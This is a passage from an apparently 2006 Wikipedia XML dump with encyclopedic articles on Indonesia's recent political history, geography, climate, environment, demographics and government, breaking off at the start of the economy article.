President Wahid's government continued to pursue democratization and to encourage renewed economic growth under challenging conditions. In addition to continuing economic malaise, his government faced regional, interethnic, and interreligious conflict, particularly in [[Aceh]], [[Maluku Islands]], and Irian Jaya. In [[West Timor]], the problems of displaced East Timorese and violence by pro-Indonesian East Timorese militias caused considerable humanitarian and social problems. An increasingly assertive Parliament frequently challenged President Wahid's policies and prerogatives, contributing to a lively and sometimes rancorous national political debate. 

===Megawati administration===
During the People's Consultative Assembly's first annual session in August 2000, President Wahid gave an account of his government's performance. On [[January 29]], [[2001]] thousands of student protesters stormed parliament grounds and demanded that President Abdurrahman Wahid resign due to alleged involvement in corruption scandals. Under pressure from the Assembly to improve management and coordination within the government, he issued a presidential decree giving Vice President Megawati control over the day-to-day administration of government. Soon after, [[Megawati Sukarnoputri]] assumed the presidency on [[July 23]].

===Yudhoyono administration===
In [[2004]], the largest one-day election in the world and Indonesia's first direct [[Indonesian presidential election, 2004|Presidential election]] was held and was won by [[Susilo Bambang Yudhoyono]], commonly referred by his initials SBY. ''See: [[Politics of Indonesia]]''.

Early in Yudhoyono's administration, portions of northern [[Sumatra]], particularly [[Aceh]], as well as outlying islands were devastated by the massive [[2004 Indian Ocean earthquake|Indian Ocean earthquake and tsunami]] on [[December 26]], [[2004]]. While challenged by the reconstruction effort, the tsunami did however begin a significant peace-process between SBY's government and the separatist [[Free Aceh Movement]] (GAM). Accords signed in [[Helsinki]] created a framework for military de-escalation in which the government has reduced its military presence, as members of GAM's armed wing decommission their weapons and apply for amnesty. The agreement also allows for Acehnese nationalist forces to form their own party, and other autonomy measures. ''See: [[Effect of the 2004 Indian Ocean earthquake on Indonesia]]''.

==See also==
* [[Indonesian Chinese]]
* [[Sailendra]]
* [[Singhasari]]

==References and further reading==
* Ricklefs, M.C. 2001. ''A history of modern Indonesia since c.1200''. Stanford: Stanford University Press. ISBN 0-8047-4480-7
* Taylor, Jean Gelman. 2003. ''Indonesia: Peoples and histories''. New Haven: Yale University Press. ISBN 0300097093
* Schwarz, Adam. 1994. ''A Nation in Waiting: Indonesia's Search for Stability''. 2nd Edition. St Leonards, NSW : Allen &amp; Unwin.
* {{loc}}

==External links==
*[http://www.gimonca.com/sejarah/index.html Sejarah Indonesia] &amp;mdash; Detailed timeline of events in Indonesian history

[[Category:History of Indonesia| ]]

[[es:Historia de Indonesia]]
[[id:Sejarah Indonesia]]
[[it:Storia dell'Indonesia]]
[[lt:Indonezijos istorija]]
[[ms:Sejarah Indonesia]]
[[nl:Geschiedenis van Indonesië]]
[[ja:インドネシアの歴史]]
[[pt:História da Indonésia]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Indonesia</title>
    <id>14644</id>
    <revision>
      <id>35916068</id>
      <timestamp>2006-01-20T05:19:18Z</timestamp>
      <contributor>
        <username>DrDaveHPP</username>
        <id>158240</id>
      </contributor>
      <comment>/* Geographic regions */</comment>
      <text xml:space="preserve">[[Image:Id-map.png|right|420px]]

'''[[Indonesia]]''' is situated in [[Southeast Asia]], in the [[Malay Archipelago]] between the [[Indian Ocean]] and the [[Pacific Ocean]]s. It is in a strategic location astride or along major sea lanes from [[Indian Ocean]] to [[Pacific Ocean]].  The country's variations in culture have been shaped--although not specifically determined--by centuries of complex interactions with the physical environment. Although Indonesians are now less vulnerable to the vicissitudes of nature as a result of improved technology and social programs, to some extent their social diversity has emerged from traditionally different patterns of adjustment to their physical circumstances.

'''[[Geographic coordinates]]:''' {{coor dm|5|00|S|120|00|E|type:country}}

==Geographic regions==
[[Image:Indonesia_2002_CIA_map.jpg|thumb|right|400px|Detailed map of Indonesia]]
Indonesia is a huge archipelagic country extending 5,120 kilometers from east to west and 1,760 kilometers from north to south. It encompasses 13,667 islands (some sources say as many as 18,000), only 6,000 of which are inhabited. There are five main islands (Sumatra, Java, Kalimantan, Sulawesi, and Irian Jaya), two major archipelagos (Nusa Tenggara and the Maluku Islands), and sixty smaller archipelagos. Three of the islands are shared with other nations; Kalimantan (known in the colonial period as Borneo, the world's third largest island) is shared with Malaysia and Brunei, Timor is shared with East Timor, and Irian Jaya shares the island of New Guinea with Papua New Guinea. Indonesia's total land area is 1,919,317 square kilometers. Included in Indonesia's total territory is another 93,000 square kilometers of inlands seas (straits, bays, and other bodies of water). The additional surrounding sea areas bring Indonesia's generally recognized territory (land and sea) to about 5 million square kilometers. The government, however, also claims an exclusive economic zone, which brings the total to about 7.9 million square kilometers.

Geographers have conventionally grouped Sumatra, Java (and Madura), Kalimantan (formerly Borneo), and Sulawesi (formerly Celebes) in the Greater Sunda Islands. These islands, except for Sulawesi, lie on the Sunda Shelf--an extension of the Malay Peninsula and the Southeast Asian mainland. Far to the east is Irian Jaya (formerly Irian Barat or West New Guinea), which takes up the western half of the world's second largest island--New Guinea--on the Sahul Shelf. Sea depths in the Sunda and Sahul shelves average 200 meters or less. Between these two shelves lie Sulawesi, Nusa Tenggara (also known as the Lesser Sunda Islands), and the Maluku Islands (or the Moluccas), which form a second island group where the surrounding seas in some places reach 4,500 meters in depth. The term Outer Islands is used inconsistently by various writers but it is usually taken to mean those islands other than Java and Madura.

Tectonically, this region--especially Java--is highly unstable, and although the volcanic ash has resulted in fertile soils, it makes agricultural conditions unpredictable in some areas. The country has numerous mountains and some 400 volcanoes, of which approximately 100 are active. Between 1972 and 1991 alone, twentynine volcanic eruptions were recorded, mostly on Java. The most violent volcanic eruptions in modern times occurred in Indonesia. In 1815 a volcano at Gunung Tambora on the north coast of Sumbawa, Nusa Tenggara Barat Province, claimed 92,000 lives and created &quot;the year without a summer&quot; in various parts of the world. In 1883 Krakatau in the Sunda Strait, between Java and Sumatra, erupted and some 36,000 West Javans died from the resulting tidal wave. The sound of the explosion was reported as far away as Turkey and Japan. For almost a century following that eruption, Krakatau was quiet, until the late 1970s, when it erupted twice.

Mountains ranging between 3,000 and 3,800 meters above sea level can be found on the islands of Sumatra, Java, Bali, Lombok, Sulawesi, and Seram. The country's tallest mountains are located in the Jayawijaya Mountains and the Sudirman Mountains in Irian Jaya. The highest peak, Puncak Jaya, also known as Mount Carstenz, which reaches 4,884 meters, is located in the Sudirman Mountains.

Nusa Tenggara consists of two strings of islands stretching eastward from Bali toward Irian Jaya. The inner arc of Nusa Tenggara is a continuation of the chain of mountains and volcanoes extending from Sumatra through Java, Bali, and Flores, and trailing off in the Banda Islands. The outer arc of Nusa Tenggara is a geological extension of the chain of islands west of Sumatra that includes Nias, Mentawai, and Enggano. This chain resurfaces in Nusa Tenggara in the ruggedly mountainous islands of Sumba and Timor.

The Maluku Islands (or Moluccas) are geologically among the most complex of the Indonesian islands. They are located in the northeast sector of the archipelago, bounded by the Philippines to the north, Irian Jaya to the east, and Nusa Tenggara to the south. The largest of these islands include Halmahera, Seram, and Buru, all of which rise steeply out of very deep seas. This abrupt relief pattern from sea to high mountains means that there are very few level coastal plains.

Geographers believe that the island of New Guinea, of which Irian Jaya is a part, may once have been part of the Australian continent. The breakup and tectonic action created both towering, snowcapped mountain peaks lining its central east-west spine and hot, humid alluvial plains along the coast of New Guinea. Irian Jaya's mountains range some 650 kilometers east to west, dividing the province between north and south.

==Climate==
[[Image:SundaIslands.A2003242.0225.500m.jpg|thumb|right|350px|The Lesser Sunda Islands, Indonesia]]

The main variable of Indonesia's climate is not temperature or air pressure, but rainfall. The almost uniformly warm waters that make up 81 % of Indonesia's area ensure that temperatures on land remain fairly constant. Split by the equator, the archipelago is almost entirely tropical in climate, with the coastal plains averaging 28 °C, the inland and mountain areas averaging 26 °C, and the higher mountain regions, 23°C. The area's relative humidity ranges between 70 and 90 %. Winds are moderate and generally predictable, with monsoons usually blowing in from the south and east in June through September and from the northwest in December through March. Typhoons and largescale storms pose little hazard to mariners in Indonesia waters; the major danger comes from swift currents in channels, such as the Lombok and Sape straits.

The extreme variations in rainfall are linked with the monsoons. Generally speaking, there is a dry season (June to September), influenced by the Australian continental air masses, and a rainy season (December to March) that is the result of mainland Asia and Pacific Ocean air masses. Local wind patterns, however, can greatly modify these general wind patterns, especially in the islands of central Maluku--Seram, Ambon, and Buru. This oscillating seasonal pattern of wind and rain is related to Indonesia's geographical location as an archipelago between two large continents. In July and August, high pressure over the Australian desert moves winds from that continent toward the northwest. As the winds reach the equator, the earth's rotation causes them to veer off their original course in a northeasterly direction toward the Southeast Asian mainland. During January and February, a corresponding high pressure system over the Asian mainland causes the pattern to reverse. The resultant monsoon is augmented by humid breezes from the Indian Ocean, producing significant amounts of rain throughout many parts of the archipelago.

Prevailing wind patterns interact with local topographic conditions to produce significant variations in rainfall throughout the archipelago. In general, western and northern parts of Indonesia experience the most precipitation, since the north- and westward-moving monsoon clouds are heavy with moisture by the time they reach these more distant regions. Western Sumatra, Java, Bali, the interiors of Kalimantan, Sulawesi, and Irian Jaya are the most predictably damp regions of Indonesia, with rainfall measuring more than 2,000 millimeters per year. In part, this moisture originates on strategically located high mountain peaks that trap damp air. The city of Bogor, near Jakarta, lays claim to having to world's highest number of rainstorms per year--322. On the other hand, the islands closest to Australia--including Nusa Tenggara and the eastern tip of Java--tend to be dry, with some areas experiencing less than 1,000 millimeters per year. To complicate the situation, some of the islands of the southern Malukus experience highly unpredictable rainfall patterns, depending on local wind currents.

Although air temperature changes little from season to season or from one region to the next, cooler temperatures prevail at higher elevations. In general, temperatures drop approximately 1° per 90 meters increase in elevation from sea level with some highaltitude interior mountain regions experiencing night frosts. The highest mountain ranges in Irian Jaya are permanently capped with snow.

Located on the equator, the archipelago experiences relatively little change in the length of daylight hours from one season to the next; the difference between the longest day and the shortest day of the year is only forty-eight minutes. The archipelago stretches across three time zones: Western Indonesian Time--seven hours in advance of Greenwich Mean Time (GMT)--includes Sumatra, Java, and eastern Kalimantan; Central Indonesian Time--eight hours head of GMT--includes western Kalimantan, Nusa Tenggara, and Sulawesi; and Eastern Indonesian Time--nine hours ahead of GMT-- includes the Malukus and Irian Jaya. The boundary between the western and central time zones--established in 1988--is a line running north between Java and Bali through the center of Kalimantan. The border between central and eastern time zones runs north from the eastern tip of Timor to the eastern tip of Sulawesi.

==Environmental concerns==
For centuries, the geographical resources of the Indonesian archipelago have been exploited in ways that fall into consistent social and historical patterns. One cultural pattern consists of the formerly Indianized, rice-growing peasants in the valleys and plains of Sumatra, Java, and Bali; another cultural complex is composed of the largely Islamic coastal commercial sector; a third, more marginal sector consists of the upland forest farming communities which exist by means of subsistence swidden agriculture. To some degree, these patterns can be linked to the geographical resources themselves, with abundant shoreline, generally calm seas, and steady winds favoring the use of sailing vessels, and fertile valleys and plains--at least in the Greater Sunda Islands--permitting irrigated rice farming. The heavily forested, mountainous interior hinders overland communication by road or river, but fosters slash-and-burn agriculture.

Each of these patterns of ecological and economic adaptation experienced tremendous pressures during the 1970s and 1980s, with rising population density, soil erosion, river-bed siltation, and water pollution from agricultural pesticides and off-shore oil drilling. In the coastal commercial sector, for instance, the livelihood of fishing people and those engaged in allied activities--roughly 5.6 million people--began to be imperiled in the late 1970s by declining fish stocks brought about by the contamination of coastal waters. Fishermen in northern Java experienced marked declines in certain kinds of fish catches and by the mid-1980s saw the virtual disappearance of the terburuk fish in some areas. Effluent from fertilizer plants in Gresik in northern Java polluted ponds and killed milkfish fry and young shrimp. The pollution of the Strait of Malacca between Malaysia and Sumatra from oil leakage from the Japanese supertanker Showa Maru in January 1975 was a major environmental disaster for the fragile Sumatran coastline. The danger of supertanker accidents also increased in the heavily trafficked strait.

The coastal commercial sector suffered from environmental pressures on the mainland, as well. Soil erosion from upland deforestation exacerbated the problem of siltation downstream and into the sea. Silt deposits covered and killed once-lively coral reefs, creating mangrove thickets and making harbor access increasingly difficult, if not impossible, without massive and expensive dredging operations.

Although overfishing by Japanese and American &quot;floating factory&quot; fishing boats was officially restricted in Indonesia in 1982, the scarcity of fish in many formerly productive waters remained a matter of some concern in the early 1990s. As Indonesian fishermen improved their technological capacity to catch fish, they also threatened the total supply.

A different, but related, set of environmental pressures arose in the 1970s and 1980s among the rice-growing peasants living in the plains and valleys. Rising population densities and the consequent demand for arable land gave rise to serious soil erosion, deforestation because of the need for firewood, and depletion of soil nutrients. Runoff from pesticides polluted water supplies in some areas and poisoned fish ponds. Although national and local governments appeared to be aware of the problem, the need to balance environmental protection with pressing demands of a hungry population and an electorate eager for economic growth did not diminish.

Major problems faced the mountainous interior regions of Kalimantan, Sulawesi, and Sumatra. These problems included deforestation, soil erosion, massive forest fires, and even desertification resulting from intensive commercial logging--all these threatened to create environmental disaster. In 1983 some 30,000 km² of prime tropical forest worth at least US$10 billion were destroyed in a fire in Kalimantan Timur Province. The disastrous scale of this fire was made possible by the piles of dead wood left behind by the timber industry. Even discounting the calamitous effects of the fire, in the mid-1980s Indonesia's deforestation rate was the highest in Southeast Asia, at 7,000 km² per year and possibly as much as 10,000 km² per year. Although additional deforestation came about as a result of the government-sponsored Transmigration Program (''transmagrasi'') in uninhabited woodlands, in some cases the effects of this process were mitigated by replacing the original forest cover with plantation trees, such as coffee, rubber, or palm. In many areas of Kalimantan, however, large sections of forest were cleared, with little or no systematic effort at reforestation. Although reforestation laws existed, they were rarely or only selectively enforced, leaving the bare land exposed to heavy rainfall, leaching, and erosion. Because commercial logging permits were granted from Jakarta, the local inhabitants of the forests had little say about land use, but in the mid-1980s, the government, through the Department of Forestry, joined with the World Bank to develop a forestry management plan. The efforts resulted in the first forest inventory since colonial times, seminal forestry research, conservation and national parks programs, and development of a master plan by the Food and Agriculture Organization (FAO) of the United Nations (UN). 

'''Natural hazards:''' occasional [[flood]]s, severe [[drought]]s, [[tsunami]]s, [[earthquake]]s, [[volcano]]es, [[forest fire]]s

'''Environment - current issues:''' [[deforestation]]; water [[pollution]] from industrial wastes, sewage; air pollution in urban areas; smoke and haze from forest fires

'''Environment - international agreements:'''
&lt;br&gt;''party to:'' Biodiversity, Climate Change, Desertification, Endangered Species, Hazardous Wastes, Law of the Sea, Nuclear Test Ban, Ozone Layer Protection, Ship Pollution, Tropical Timber 83, Tropical Timber 94, Wetlands
&lt;br&gt;''signed, but not ratified:'' Climate Change-Kyoto Protocol, Marine Life Conservation

==National territory: rights and responsibilities==
The legal responsibility for Indonesia's environment continued to be a matter of controversy in the early 1990s. Among the continuing concerns were those expressed in 1982 during the UN Conference on the Law of the Sea. In this conference, Indonesia sought to defend its March 1980 claim to a 200 nautical mile (370 km) exclusive economic zone. Based on the doctrine of the political and security unity of archipelagic land and sea space (wawasan nusantara), the government asserted its rights to marine and geological resources within this coastal zone. In all, the area claimed the government, including the exclusive economic zone, was 7.9 million square kilometers. Indonesia also claimed as its territory all sea areas within a maritime belt of twelve nautical miles of the outer perimeter of its islands. All straits, bays, and waters within this belt were considered inland seas by the government and amounted to around 93,000 square kilometers. The Strait of Malacca--one of the most heavily traveled sea-lanes in the world--was considered by Indonesia and Malaysia to be their joint possession, and the two countries requested that other nations notify their governments before moving warships through these waters. The United States and several other nations rejected those claims, considering the strait an international waterway.

During the 1980s and early 1990s, Indonesia was involved in territorial disputes. One controversy concerned Indonesia's annexation of the former colony of Portuguese Timor as Timor Timur Province in 1976, an action which came under protest in the UN and among human rights activists.

Another dispute involved Indonesia's conflict with Australia over rights to the continental shelf off the coast of Timor. This problem was resolved in 1991 by a bilateral agreement calling for joint economic exploitation of the disputed area in the so-called &quot;Timor Gap.&quot; Still other controversies arose regarding overflight rights in Irian Jaya (disputed with Papua New Guinea) and conflicting claims to the Spratly Islands in the South China Sea by Brunei, China, Malaysia, the Philippines, Taiwan, and Vietnam. Indonesia played the role of mediator in the Spratly Islands controversy.

Even as Indonesia extended its claim to territory, international environmental groups were pressing Jakarta to accept environmental responsibility for those territories. Indonesia was encouraged to monitor pollution in its territorial waters and take legal action to prevent the destruction of its rain forests. Since the late 1960s, the government addressed increasing environmental problems by establishing resource management programs, conducting environmental impact analyses, developing better policy enforcement, and enacting appropriate laws to give government officials proper authority. Despite these efforts, overlapping competencies among government departments and legal uncertainties about which department had what authority slowed progress made against environmental degradation. 

==Area and boundaries==
'''Area:'''
&lt;br&gt;''total:'' 1,919,440 km²
&lt;br&gt;''land:'' 1,826,440 km²
&lt;br&gt;''water:'' 93,000 km²

'''Land boundaries:'''
&lt;br&gt;''total:'' 2,830 km
&lt;br&gt;''border countries:'' [[Malaysia]] 1,782 km, [[Papua New Guinea]] 820 km, [[East Timor]] 228 km
&lt;br&gt;''Other nearby countries:'' [[India]] NW of Acheh, [[Australia]], [[Singapore]], [[Philippines]], [[Brunei]].

'''Coastline:''' 54,716 km

'''Maritime claims:''' measured from claimed archipelagic baselines
&lt;br&gt;''exclusive economic zone:'' 200 [[nautical mile]]s (370 km)
&lt;br&gt;''territorial sea:'' 12 nautical miles (22 km)

'''Elevation extremes:'''
&lt;br&gt;''lowest point:'' Indian Ocean 0 m
&lt;br&gt;''highest point:'' [[Puncak Jaya]] (also known as [[Mount Carstenz]]) 4 884 m

==Resources and land use==
'''Natural resources:''' [[petroleum]], [[tin]], natural [[gas]], [[nickel]], [[timber]], [[bauxite]], [[copper]], fertile soils, [[coal]], [[gold]], [[silver]]

'''Land use:'''
&lt;br&gt;''arable land:'' 9.9%
&lt;br&gt;''permanent crops:'' 7.2%
&lt;br&gt;''other:'' 82.9% (1998 est.)

'''Irrigated land:''' 48,150 km² (1998 est.)

==See also==
* [[Indonesia]]
* [[List of cities in Indonesia]]

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''CIA World Fact Book''

{{Asia in topic|Geography of}}

[[Category:Geography by country|Indonesia]]
[[Category:Geography of Indonesia| ]]

[[es:Geografía de Indonesia]]
[[fr:Géographie de l'Indonésie]]
[[id:Geografi Indonesia]]
[[lt:Indonezijos geografija]]
[[pt:Geografia da Indonésia]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Indonesia</title>
    <id>14645</id>
    <revision>
      <id>42037558</id>
      <timestamp>2006-03-03T10:44:15Z</timestamp>
      <contributor>
        <username>Birdmessenger</username>
        <id>142230</id>
      </contributor>
      <comment>/* Ethnic groups */ fixing redirect</comment>
      <text xml:space="preserve">[[Indonesia]]'s 242 million people make it the world's fourth-most populous nation. The [[island]] of [[Java (island)|Java]] is one of the most densely populated areas in the world, with more than 114 million people living in an area the size of [[New York State]].

Indonesia includes numerous related but distinct cultural and linguistic groups. A common misconception is that Indonesians are [[Malay people|Malay]]s. As a matter of fact, Malays only form a fraction of Indonesia's population. Since independence, [[Indonesian language|Indonesian]] (Bahasa Indonesia) (the national language, a form of [[Malay language|Malay]]) has spread throughout the archipelago and has become the language of most written communication, education, government, and business. Many local languages are still important in many areas, however. 

==Population data==

'''Population:'''  241,973,879 (July 2005 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:'' 29.1% (male 35,823,456; female 34,590,631)
&lt;br&gt;''15-64 years:''  65.7% (male 79,447,560; female 79,449,399)
&lt;br&gt;''65 years and over:'' 5.2% (male 5,526,389; female 7,136,444) (2005 est.)

'''Population growth rate:''' 1.45% (2005 est.)

'''Birth rate:''' 20.71 births/1,000 population (2005 est.)

'''Death rate:''' 6.25 deaths/1,000 population (2005 est.)

'''Net migration rate:''' 0 migrant(s)/1,000 population (2005 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:'' 1.05 male(s)/female
&lt;br&gt;''under 15 years:'' 1.04 male(s)/female
&lt;br&gt;''15-64 years:'' 1 male(s)/female
&lt;br&gt;''65 years and over:'' 0.77 male(s)/female
&lt;br&gt;''total population:'' 1 male(s)/female (2005 est.)

'''Infant mortality rate:''' 35.6 deaths/1,000 live births (2005 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:'' 69.57 years
&lt;br&gt;''male:'' 67.13 years
&lt;br&gt;''female:'' 70.13 years (2005 est.)

'''Total fertility rate:''' 2.44 children born/woman (2005 est.)

'''Nationality:'''
&lt;br&gt;''noun:'' Indonesian(s)
&lt;br&gt;''adjective:'' Indonesian

==Ethnic groups==

There are over 300 ethnic groups in Indonesia. Many ethnic groups, particularly in [[Kalimantan]] and [[Papua]], have only hundreds of members. Most of the local languages belong to [[Austronesian languages|Austronesian]] linguistic family, although a significant number, particularly in [[Papua]], speak [[Papuan languages]]. In addition, there are roughly 5 million [[Indonesian Chinese|people of Chinese descent]] which speaks various [[Chinese dialects]], most notably [[Cantonese (linguistics)|Cantonese]] and [[Min Nan]].

The population ranking of the ethnic groups in Indonesia ([[2000]] census) is as follows:

:[[Javanese]] 41.7%, [[Sundanese]] 15.4%, [[Malay people|Malay]] 3.4%, [[Madurese]] 3.3%, [[Batak (Indonesia)|Batak]] 3.0%, [[Minangkabau]] 2.7%, [[Betawi]] 2.5%, [[Buginese]] 2.5%, [[Bantenese]] 2.1%, [[Banjarese]] 1.7%, [[Balinese people|Balinese]] 1.5%, [[Sasak]] 1.3%, [[Makassarese]] 1.0%, [[Cirebon]] 0.9%, [[Indonesian_Chinese|Chinese]] 0.9%, Others 16.1%

The regions of Indonesia and some of their ''traditional'' ethnic groups are as follows. Note however that due to migration within Indonesia (as part of government [[transmigration program]]s or otherwise), there are significant populations of ethic groups who reside outside of their traditional regions.
* '''[[Java (island)|Java]]''': [[Javanese]], [[Sundanese]], [[Bantenese]], [[Betawi]], [[Tenggerese|Tengger]], [[Osing]], [[Badui]]
* '''[[Madura]]''': [[Madurese]]
* '''[[Sumatra]]''': [[Malay people|Malays]], [[Batak (Indonesia)|Batak]], [[Minangkabau]], [[Acehnese]], [[Lampung]], [[Kubu]]
* '''[[Kalimantan]]''': [[Dayak]], [[Malay people|Malays]], [[Banjar]]
* '''[[Sulawesi]]''': [[Makassarese]], [[Buginese]], [[Mandar]], [[Minahassan]], [[Gorontalo]], [[Toraja]], [[Bajau]]
* '''[[Lesser Sunda Islands]]''': [[Balinese people|Balinese]], [[Sasak]]
* '''The [[Moluccas]]''': [[Nuaulu]], [[Manusela]]
* '''[[Papua]]''': [[Dani (ethnic group)|Dani]], [[Bauzi]], [[Asmat]]

==Religions==

[[Islam|Muslim]] 88%, [[Protestantism|Protestant]] 5%, [[Catholicism|Roman Catholic]] 2%, [[Hinduism|Hindu]] 3%, [[Buddhism|Buddhist]] 1%, other 1% (1998)

Constitutional guarantees of religious freedom apply to the five religions recognized by the state, namely [[Islam in Indonesia|Islam]] (87%), [[Protestantism]] (5%), [[Catholicism]] (2%), [[Hinduism]] (3%) and [[Buddhism]] (2%), and In some remote areas, [[animism]] is still practiced.

==Languages==

[[Bahasa Indonesia]] (official, modified form of [[Malay language|Malay]]), [[English language|English]], [[Dutch language|Dutch]], regional languages, the most widely spoken of which is [[Javanese language|Javanese]]. 

English is the most widely spoken foreign language. Some [[Min_Nan|Chinese dialect]] is also spoken. The public use of [[Mandarin language|Chinese]], especially Chinese characters, was discouraged between [[1966]] - [[1998]].

==Literacy==

''definition:'' age 15 and over can read and write
&lt;br&gt;''total population:'' 87.9%
&lt;br&gt;''male:'' 92.5%
&lt;br&gt;''female:'' 83.4% (2005 est.)

Education is not free albeit it is compulsory for children through grade 9. Although about 92% of eligible children are enrolled in primary school, a much smaller percentage attend full time. About 44% of secondary school-age children attend junior high school, and some others of this age group attend vocational schools.

==See also==
* [[Hinduism in Indonesia]]
* [[Culture of Indonesia]]
* [[Transmigration program]]

==External links==
[http://www.cia.gov/cia/publications/factbook/geos/id.html CIA World Factbook article on Indonesia]

[[Category:Demographics by country|Indonesia]]
[[Category:Geography of Indonesia]]
[[Category:Indonesian society]]

[[es:Demografía de Indonesia]]
[[id:Demografi Indonesia]]
[[lt:Indonezijos demografija]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Indonesia</title>
    <id>14646</id>
    <revision>
      <id>41803015</id>
      <timestamp>2006-03-01T21:24:18Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <comment>/* Fast facts */ Elections</comment>
      <text xml:space="preserve">{{Politics of Indonesia}}
'''[[Indonesia]] is a [[republic]]''' based on the [[1945]] [[constitution]] providing for a limited separation of [[executive (government)|executive]], [[legislative]], and [[judicial]] power. The governmental system has been described as &quot;presidential with parliamentary characteristics.&quot; Following the [[Indonesian 1998 Revolution]] and the resignation of President [[Suharto]], several political reforms were set in motion.

==Reform process==
A constitutional reform process has been underway since [[1999]], and has already produced several important changes. 

Among these are [[term limit]]s of up to two 5-year terms for the [[President]] and [[Vice President]], and measures to institute checks and balances. The highest state institution is the [[People's Consultative Assembly]] (MPR), whose functions included electing the president and vice president (since 2004 the president is elected directly by the people), establishing broad guidelines of state policy, and amending the constitution. The 695-member MPR includes all 550 members of the [[People's Representative Council]] (DPR) (the House of Representatives) plus 130 &quot;regional representatives&quot; elected by the 26 provincial parliaments and 65 appointed members from societal groups. 

The DPR, which is the premier legislative institution, includes 462 members elected through a mixed proportional/district representational system and 38 appointed members of the armed forces (TNI) and police (POLRI). Under existing agreements, TNI/POLRI representation in the DPR will end at the time of the next general election in [[2004]] and will end in the MPR in [[2009]]. Societal group representation in the MPR is expected to be eliminated in 2004 through further constitutional change. Military domination of regional administration is gradually breaking down, with new regulations prohibiting active-duty officers from holding political office.

Having served as rubberstamp bodies in the past, the DPR and MPR have gained considerable power and are increasingly assertive in oversight of the executive branch. Under constitutional changes in [[2004]], the MPR will become a [[bicameral legislature]], with the creation of the Dewan Perwakilan Daerah (DPD) or Senate, in which each province will be represented by four members, although its legislative powers will be more limited than those of the DPR. In part, this reflects a desire to prevent the presidential excesses of the past and, in part, to restrain [[Wahid]], who is seen as at times dangerously unpredictable. Through his appointed [[cabinet]], the president retains the authority to conduct the administration of the government, but some observers believe the balance of power has shifted too far in the direction of the legislature.

A general election in June 1999 produced the first freely elected national, provincial, and regional parliaments in over 40 years. In October 1999 the MPR elected a compromise candidate, [[Abdurrahman Wahid]], as the country's fourth president, and [[Megawati Sukarnoputri]] &amp;mdash; a daughter of [[Sukarno]], the country's first president &amp;mdash; as the vice president. Megawati's PDI-P party had won the largest share of the vote (34%) in the general election, while [[Golkar]], the dominant party during the Soeharto era, came in second (22%). Several other, mostly Islamic parties won shares large enough to be seated in the DPR.

==Political parties and elections==
{{elect|List of political parties in Indonesia|Elections in Indonesia}}
{{main|Indonesian presidential election, 2004}}
{{Indonesian presidential election, 2004}}
{{main|Indonesian legislative election, 2004}}
{{Indonesian legislative election, 2004}}

==Fast facts==
; Constitution :
August 1945, abrogated by Federal Constitution of 1949 and Provisional Constitution of 1950, restored [[July 5]], [[1959]]

; Legal system :
Based on Roman-Dutch law, substantially modified by indigenous concepts and by new criminal procedures code; has not accepted compulsory [[International Court of Justice]] jurisdiction.

; Suffrage :
17 years of age; universal and married persons regardless of age

===Executive branch===
; chief of state : President [[Susilo Bambang Yudhoyono]] (since [[20 October]] [[2004]]) 
; head of government : President Susilo Bambang Yudhoyono, Vice President [[Jusuf Kalla]]
; cabinet : [[United Indonesia Cabinet]] (Kabinet Indonesia Bersatu)
; elections: The president and vice president are selected by vote of the citizens for five-year terms. Prior to 2004, they were chosen by People's Consultative Assembly. The last election was held [[20 September]] 2004.
; election results : Susilo Bambang Yudhoyono won the election with 61% of the vote. Incumbent [[Megawati Sukarnoputri]] received 39% of the vote. 

===Legislative branch===
; elections :
last held [[April 5|5 April]] 2004

===Judicial branch===
The &quot;Supreme Court&quot; (''Mahkamah Agung'') is the highest level of the judicial branch. Its judges are appointed by the president.

===Election Organisation and Oversight===
The General Election Committee ''(KPU - Komisi Pemilihan Umum)'' is the body responsible for running both parliamentary and presidential elections in Indonesia.

Prior to the General Election of 2004, the KPU was made up of members who were also members of political parties, however members of the KPU must now be non-partisan.

==Further reading==
* O'Rourke, Kevin. 2002. ''Reformasi: the struggle for power in post-Soeharto Indonesia''. Crows Nest, NSW: Allen &amp; Unwin. ISBN 1865087548
* Schwarz, Adam. 2000. ''A nation in waiting: Indonesia's search for stability''. Boulder, CO: Westview Press. ISBN 0813336503 

==See also==
*[[Government Administration in Indonesia]]
*[[Foreign relations of Indonesia]]
*[[List of Presidents of Indonesia]]
*[[List of Vice Presidents of Indonesia]]
*[[Flag of Indonesia]]
*[[Government Administration in Indonesia]]

{{ASEAN}}

[[Category:Politics of Indonesia| ]]

[[lt:Indonezijos politinė sistema]]
[[nl:Politiek van Indonesië]]
[[pt:Política da Indonésia]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Indonesia</title>
    <id>14647</id>
    <revision>
      <id>42126032</id>
      <timestamp>2006-03-04T00:10:03Z</timestamp>
      <contributor>
        <username>ScottDavis</username>
        <id>161735</id>
      </contributor>
      <comment>disambiguate Rio Tinto using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Economy of Indonesia table}}

[[Indonesia]] has a market-based economy in which the government plays a significant role. It owns more than 164 state-owned enterprises and administers prices on several basic goods, including [[fuel]], [[rice]], and [[electricity]]. In the aftermath of the [[Asian financial crisis|financial and economic crisis]] that began in mid-[[1997]], the government took custody of a significant portion of private sector assets through acquisition of [[non-performing loan|nonperforming bank loan]]s and corporate assets through the debt restructuring process.

==Background==
During the 30 years of president [[Suharto]]'s &quot;New Order&quot; government, Indonesia's economy grew from a per capita [[Gross domestic product|GDP]] of [[dollar|$]]70 to more than $1,000 by [[1996]]. Through prudent monetary and fiscal [[policy|policies]], [[inflation]] was held in the 5%&amp;ndash;10% range, the [[rupiah]] was stable and predictable, and the government avoided domestic financing of budget deficits. Much of the development budget was financed by concessional [[foreign aid]].

In the mid-[[1980s]], the government began eliminating regulatory obstacles to economic activity. The steps were aimed primarily at the external and financial sectors and were designed to stimulate employment and growth in the non-oil export sector. Annual real GDP growth averaged nearly 7% from [[1987]]&amp;ndash;[[1997]], and most analysts recognized Indonesia as a newly industrializing economy and emerging major market.

